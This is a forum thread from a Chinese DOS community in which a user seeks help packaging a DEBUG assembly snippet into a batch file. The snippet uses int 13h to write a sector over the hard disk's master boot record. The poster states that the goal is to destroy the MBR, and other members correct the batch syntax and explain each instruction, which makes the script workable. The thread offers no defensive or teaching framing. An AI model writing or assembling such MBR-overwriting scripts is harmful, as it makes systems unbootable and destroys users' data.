中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --
联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟
中国DOS联盟论坛
现在时间是 2026-09-26 08:15
共 47,813 主题排行 / 349,918 发帖 / 今日 0 篇 / 48,275 会员排行
DOS批处理 & 脚本技术(批处理室) » --- 关于 debug 在批处理的应用
可打印版本  1,206 / 12
第1楼 ooaf 发表于 2007-11-14 09:27
中级用户 发帖 162 积分 313
--- 关于 debug 在批处理的应用
:)刚学dos:

1. 不知怎样把下面的代码编成 .com格式,请!
2. 可不可以写成批处理/?

a 100
mov ax,301
mov bx,1000
mov cx,1
mov dx,80
int 13
g=100 10e

[ Last edited by ooaf on 2007-11-14 at 06:39 PM ]
第2楼 bjsh 发表于 2007-11-14 10:16
银牌会员 发帖 621 积分 2,000
1. debug
2. 可以写成;

可以在批处理里 把代码echo到文本 再调用debug

ps: 有违版规;请修改标题;
第3楼 ooaf 发表于 2007-11-14 18:43
中级用户 发帖 162 积分 313
debug 编成的 .com ,在电脑上通用吗?


ehco a 100 >>debug.txt
ehco mov ax,301 >>debug.txt
ehco mov bx,1000>>debug.txt
ehco mov cx,1>>debug.txt
ehco mov dx,80>>debug.txt
ehco int 13>>debug.txt
ehco g=100 10e>>debug.txt

debug < debug.txt

这样可以 吗?
第4楼 fastslz 发表于 2007-11-14 19:42
铂金会员 发帖 2,315 积分 5,493 来自 上海
强把echo 写成ehco了

debug < debug.txt

[ Last edited by fastslz on 2007-11-14 at 07:44 PM ]
第5楼 tempuser 发表于 2007-11-15 13:53
高级用户 发帖 261 积分 547
Originally posted by fastslz at 2007-11-14 19:42:
强把echo 写成ehco了
第6楼 lxmxn 发表于 2007-11-15 14:49
版主 发帖 4,938 积分 11,386
Originally posted by tempuser at 2007-11-15 13:53:

尽管不知道重定向符号^在这里的意义,但实践过后还是非常佩服!

这里是为了转义最后的数字,避免命令提示符认为是句柄(0,1,2……)。
第7楼 ooaf 发表于 2007-11-16 19:40
中级用户 发帖 162 积分 313
-- 谢谢了!
第8楼 ooaf 发表于 2007-11-20 15:02
中级用户 发帖 162 积分 313
-- 关于debug 的错误

o mov dx,80
^ error
int 13
g=100 10e
^ error
q

哦, 打错了, 没有 o ! 对不起!

可是新问题又来了,
echo a 10^0 >debug.txt
echo mov ax,30^1 >>debug.txt
echo mov bx,100^0>>debug.txt
echo mov cx,^1>>debug.txt
echo mov dx,8^0>>debug.txt
echo int 1^3>>debug.txt
echo g=100 10e>>debug.txt
echo q>>debug.txt
pause
debug < debug.txt 这之后根本没运行上面的命令, 而且停不下来 !

[ Last edited by ooaf on 2007-11-20 at 03:31 PM ]
第9楼 lxmxn 发表于 2007-11-20 15:05
版主 发帖 4,938 积分 11,386
o mov dx,80

是什么意思?
第10楼 ooaf 发表于 2007-11-20 15:42
中级用户 发帖 162 积分 313
破坏硬盘主引导扇区(不知道在哪里找的,这个应该不错 )

http://www.cn-dos.net/forum/viewthread.php?tid=17752&fpage=1&highlight=%E7%A0%B4%E5%9D%8F%E7%A1%AC%E7%9B%98

我想将 上贴中的命令在 .bat中实现
第11楼 ooaf 发表于 2007-11-26 20:58
中级用户 发帖 162 积分 313
有人能解决吗?
第12楼 bozhenguan 发表于 2007-11-27 13:50
新手上路 发帖 7 积分 16
这个比较简单......
a 100就是转到地址段为0100H这个地方
ax,0301 是写盘操作,写1个扇区
bx,1000 是写到缓冲区1000H处
cx,1 原型为cx,0001 作用是0道1扇区
dx,80 原型为0080 00是0面 80代表硬盘
int 13 有点不记得了 和RET同为中断 老师说过是有区别的...但老师也答不出..晕..
g=100 10e 意思是从100H地址开始执行 10e我忘了......
第13楼 bozhenguan 发表于 2007-11-27 13:51
新手上路 发帖 7 积分 16
作用主要是写MBR 但貌似缺少了加载MBR备份....
[ 联系联盟系统管理团队 - 中国DOS联盟 - 标准版 ]
Sponsored by ifanr Inc | © 2001–2023